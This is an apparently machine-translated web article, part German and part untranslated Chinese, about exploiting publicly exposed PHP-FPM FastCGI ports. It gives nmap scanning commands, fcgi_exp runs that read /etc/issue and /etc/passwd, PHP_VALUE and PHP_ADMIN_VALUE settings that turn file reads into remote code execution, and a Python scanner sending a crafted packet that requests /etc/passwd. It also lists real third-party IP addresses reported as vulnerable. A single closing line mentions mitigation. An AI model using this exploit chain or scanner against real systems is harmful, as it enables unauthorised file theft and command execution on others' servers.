Heim  >  Artikel  >  Backend-Entwicklung  >  Beispielanalyse eines Python-Scanskripts für eine Schwachstelle beim Lesen von FastCGI-Dateien

Beispielanalyse eines Python-Scanskripts für eine Schwachstelle beim Lesen von FastCGI-Dateien

Y2J
Y2JOriginal
2017-05-02 15:21:241774Durchsuche

In diesem Artikel wird hauptsächlich das Python-Scan-Skript für Schwachstellen beim Lesen von FastCGI-Dateien vorgestellt. Freunde, die es benötigen, können sich auf

Remote-Nutzung von PHP FastCGI

FastCGI beziehen weiß, dass dies eines der gebräuchlichsten Modelle zur Ausführung dynamischer Webserver-Skripte ist. Derzeit unterstützen grundsätzlich alle Webskripte diesen Modus, und sogar einige Arten von Skripten sind der einzige Modus (ROR, Python usw.).

Der Hauptzweck von FastCGI besteht darin, den Webserver und die Ausführung dynamischer Sprachen in zwei verschiedene residente Prozesse zu unterteilen. Wenn der Webserver eine Anforderung für ein dynamisches Skript erhält, leitet er die Anforderung an den fcgi-Prozess weiter Das Netzwerk wird über das fcgi-Protokoll übertragen. Nach der Verarbeitung durch den fcgi-Prozess werden die Ergebnisse an den Webserver übertragen und der Webserver gibt sie dann an den Browser aus. Dieses Modell muss CGI nicht für jede Anfrage neu starten und den Skriptparser nicht in den Webserver einbetten. Daher ist es hoch skalierbar. Sobald die Anzahl der dynamischen Skriptanforderungen zunimmt, kann ein separater Cluster für die Rückseite eingerichtet werden -end fcgi-Prozess Die Bereitstellung von Diensten erhöht die Wartbarkeit erheblich, was einer der Gründe ist, warum ähnliche Modelle wie fcgi so beliebt sind.

Allerdings bringt es gerade aufgrund dieses Modells auch einige Probleme mit sich. Beispielsweise ist die von 80sec letztes Jahr veröffentlichte „Nginx File Parsing Vulnerability“ tatsächlich ein Problem, das durch das unterschiedliche Verständnis der Parameter auf Skriptpfadebene zwischen fcgi und Webserver verursacht wird. Da fcgi und Webserver über das Netzwerk kommunizieren, binden immer mehr Cluster fcgi derzeit direkt an das öffentliche Netzwerk, und jeder kann darauf zugreifen. Dies bedeutet, dass jeder sich als Webserver ausgeben und fcgi den Skriptinhalt ausführen lassen kann, den wir ausführen möchten.

OK, das Obige ist die Erklärung des Hintergrundprinzips. Ich werde PHP verwenden, mit dem ich am besten vertraut bin, um Ihnen ein Beispiel zu geben.

Fastcgi von PHP wird derzeit üblicherweise FPM genannt. Der standardmäßige Überwachungsport ist Port 9000. Hier verwenden wir nmap zum direkten Scannen:

nmap -sV -p 9000 --open x.x.x.x/24

Warum sV verwenden? Da sich auf Port 9000 möglicherweise andere Dienste befinden, müssen wir zunächst die Fingerabdruckerkennung von nmap verwenden, um diese zu identifizieren.

[root@test:~/work/fcgi]#nmap -sV -p 9000 --open 173.xxx.xxx.1/24
Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-14 20:06 EDTNmap scan report for abc.net (173.xxx.xxx.111)Host is up (0.0095s latency).PORT     STATE SERVICE VERSION9000/tcp open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)Service Info: OS: Linux; CPE: cpe:/o:linux:kernel
Nmap scan report for abc.com (173.xxx.xxx.183)Host is up (0.0096s latency).PORT     STATE SERVICE    VERSION9000/tcp open  tcpwrapped
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds

Nach einem zufälligen Scan hatte ich Glück, dass es in Segment C zwei offene 9000-Ports gibt, aber einer davon wurde vom Administrator mit SSHD geändert, und der andere ist mit TCP umwickelt, was unser Ziel ist.

Zum Testen habe ich ein Fastcgi-Client-Programm geschrieben, um Anfragen direkt an die andere Partei zu initiieren. Was können wir tun, indem wir ein offenes FastCGI verwenden? Dies unterscheidet sich ein wenig von gewöhnlichen HTTP-Anfragen, denn um einige FastCGI-Parameter bereitzustellen, übergibt der Webserver diese bei jeder Weiterleitung der Anfrage über das Paket FASTCGI_PARAMS an den FCGI-Prozess. Ursprünglich sind diese Parameter nicht vom Benutzer steuerbar, aber da dieses FCGI für die Außenwelt offen ist, bedeutet das, dass wir diese Parameter so einstellen können, dass wir Dinge tun können, die wir sonst nicht tun könnten:

[root@test:~/work/fcgi]#./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue
X-Powered-By: PHP/5.3.2-1ubuntu4.9Content-type: text/html www.jb51.net
Ubuntu 10.04.3 LTS \n \l

Nachdem ich die Datei /etc/issue gelesen habe, kann ich sehen, dass es sich um eine Ubuntu 10.04-Maschine handelt. Wie wird es erreicht? Tatsächlich müssen wir nur DOCUMENT_ROOT auf das Stammverzeichnis „/“ in FASTCGI_PARAMS und dann SCRIPT_FILENAME auf /etc/issue setzen. Auf diese Weise können wir, sofern wir die Berechtigung haben, fcgi steuern, jede Datei auf diesem Computer zu lesen. Eigentlich ist das kein Lesen, sondern die Verwendung von PHP zum Ausführen.

Da es sich um eine Ausführung handelt, ähnelt diese Schwachstelle tatsächlich einer gewöhnlichen LFI-Schwachstelle. Wenn Sie den Protokollpfad auf diesem Computer oder einen beliebigen Dateipfad kennen, über den Sie den Inhalt steuern können, können Sie beliebigen Code ausführen.

Ist das das Ende? Nein, wenn ich Protokoll verwende oder andere Dateipfade errate, um den Code auszuführen, ist das immer noch nicht bequem genug, um jeden von mir übermittelten Code auszuführen.

Ich habe auch hier viele Möglichkeiten gefunden, den env-Parameter zu übergeben und dann die Datei /proc/self/environ auszuführen. Leider hat php-fpm ihn erst danach im Speicher gespeichert Wenn ich meinen Parameterwert erhalte, wird diese Datei nicht direkt geändert. Daher kann es nicht verwendet werden. Darüber hinaus ist diese Methode nicht für alle Systeme universell.

Im Artikel „PoC und technische Herausforderungen von CVE-2012-1823 (PHP-CGI RCE)“ können Sie den Wert von auto_prepend_file in php.ini dynamisch ändern beliebige Dateien ausführen. Durch die Umwandlung einer LFI-Schwachstelle in eine RFI wird der ausnutzbare Raum erheblich vergrößert.

Unterstützt fastcgi auch ähnliche dynamische Änderungen der PHP-Konfiguration? Ich habe die Informationen überprüft und festgestellt, dass FPM ursprünglich nicht unterstützt wurde. Erst als ein Entwickler einen Fehler meldete, fügten PHP-Verantwortliche diese Funktion in den Quellcode von PHP 5.3.3 ein.

Im Allgemeinen können wir durch Festlegen von FASTCGI_PARAMS PHP_ADMIN_VALUE und PHP_VALUE verwenden, um PHP-Einstellungen dynamisch zu ändern.

env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "auto_prepend_file = php://input"
env["PHP_ADMIN_VALUE"] = "allow_url_include = Onndisable_functions = nsafe_mode = Off"

Verwenden Sie diese Option, um php://input auszuführen, und schreiben Sie dann unseren PHP-Code in den Inhalt von POST, damit er direkt ausgeführt werden kann.

[root@test:~/work/fcgi]#./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a"   
X-Powered-By: PHP/5.5.0-devContent-type: text/html
uid=500(www) gid=500(www) groups=500(www)Linux test 2.6.18-308.13.1.el5 #1 SMP Tue Aug 21 17:51:21 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux

细心者会注意到这里有些变化,我换了本机做测试。因为开始发现的那台机器php版本是5.3.2,正好低于5.3.3,因此无法利用修改ini设置去执行代码,只能去猜路径。

另一个变化是,我这里去读取/tmp/a.php这个php文件,而不是去读取/etc/issue。因为在5.3.9开始,php官方加入了一个配置"security.limit_extensions",默认状态下只允许执行扩展名为".php"的文件。因此你必须找到一个已经存在的php文件。而这个设置是php-fpm.conf里的,无法通过修改ini的配置去覆盖它。如果谁能有更好的办法可以绕过这个限制,请告诉我。

ok,目前为止对php-fpm的所有测试已经结束,我们利用一个对外开放的fcgi进程,已经可以直接获取shell了。各位不如也去研究一下其他fcgi,或许会有更多发现。

如何防止这个漏洞?很简单,千万不要把fcgi接口对公网暴露。同时也希望将来fcgi会有身份认证机制。

任何系统上编译,请安装golang之后,执行:
go build fcgi_exp.go

fastcgi文件读取漏洞python扫描脚本

fastcgi文件读取(代码执行)是个很老的漏洞,漏洞描述: PHP FastCGI 的远程利用

利用该漏洞可读取系统文件,甚至有一定几率成功执行代码。 下载上述文章中提到的: fcgi_exp

协议细节其实我已不关心,只需要一个python的扫描脚本。于是拿wireshark抓了下GaRY的程序,写一小段代码。

外网暴露9000端口的机器自然是非常非常少的,但内网可就说不定了。

import socket
import sys
def test_fastcgi(ip):
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0)
  sock.connect((ip, 9000))
  data = """
  01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00
  01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53 
  54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52 
  56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50 
  2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52
  4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44
  52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49 
  50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f 
  70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53
  4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69
  63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00
  """
  data_s = ''
  for _ in data.split():
    data_s += chr(int(_,16))
  sock.send(data_s)
  try:
    ret = sock.recv(1024)
    if ret.find(':root:') > 0:
      print ret
      print '%s is vulnerable!' % ip
      return True
    else:
      return False
  except Exception, e:
    pass
      
  sock.close()
if __name__ == '__main__':
  if len(sys.argv) == 1:
    print sys.argv[0], '[ip]'
  else:
    test_fastcgi(sys.argv[1])

通过快速扫描9000端口,可以发现几个存在漏洞的机器:

110.164.68.137 is vul !
110.164.68.148 is vul !
110.164.68.149 is vul !
110.164.68.151 is vul !
110.164.68.154 is vul !
110.164.68.155 is vul !

fcgi_exp.exe read 110.164.68.137 9000 /etc/passwd

Das obige ist der detaillierte Inhalt vonBeispielanalyse eines Python-Scanskripts für eine Schwachstelle beim Lesen von FastCGI-Dateien. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn